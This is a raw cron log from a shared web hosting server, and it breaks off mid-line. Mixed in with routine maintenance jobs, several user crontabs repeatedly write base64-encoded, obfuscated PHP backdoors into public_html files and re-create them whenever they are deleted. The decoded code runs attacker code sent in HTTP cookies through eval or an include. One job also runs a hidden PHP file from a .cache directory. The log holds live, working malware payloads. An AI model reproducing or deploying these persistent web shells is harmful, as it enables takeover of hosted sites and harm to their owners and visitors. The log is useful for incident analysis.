Apr 19 07:08:01 medusa CROND[21761]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 07:08:01 medusa CROND[21764]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Apr 19 07:08:01 medusa CROND[21768]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 07:09:02 medusa CROND[13580]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Apr 19 07:09:02 medusa CROND[13586]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 07:09:02 medusa CROND[13588]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Apr 19 07:09:02 medusa CROND[13590]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Apr 19 07:09:02 medusa CROND[13591]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Apr 19 07:09:02 medusa CROND[13592]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Apr 19 07:09:02 medusa CROND[13597]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Apr 19 07:09:02 medusa CROND[13600]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Apr 19 07:09:02 medusa CROND[13601]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 07:09:02 medusa CROND[13603]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Apr 19 07:09:02 medusa CROND[13608]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 07:09:02 medusa CROND[13602]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Apr 19 07:09:02 medusa CROND[13606]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 07:10:01 medusa CROND[5111]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Apr 19 07:10:01 medusa CROND[5116]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 19 07:10:01 medusa CROND[5270]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Apr 19 07:10:01 medusa CROND[5271]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Apr 19 07:10:01 medusa CROND[5272]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Apr 19 07:10:01 medusa CROND[5275]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Apr 19 07:10:01 medusa CROND[5276]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Apr 19 07:10:01 medusa CROND[5277]: (root) CMD (/nutscripts/control_exim.sh  >/dev/null 2>&1)
Apr 19 07:10:01 medusa CROND[5273]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Apr 19 07:10:01 medusa CROND[5278]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Apr 19 07:10:01 medusa CROND[5282]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 07:10:01 medusa CROND[5269]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Apr 19 07:10:01 medusa CROND[5290]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Apr 19 07:10:01 medusa CROND[5292]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Apr 19 07:10:01 medusa CROND[5287]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr 19 07:10:01 medusa CROND[5295]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Apr 19 07:10:01 medusa CROND[5302]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 07:10:01 medusa CROND[5304]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 07:10:01 medusa CROND[5306]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Apr 19 07:10:01 medusa CROND[5298]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Apr 19 07:10:01 medusa CROND[5315]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Apr 19 07:10:01 medusa CROND[5316]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdH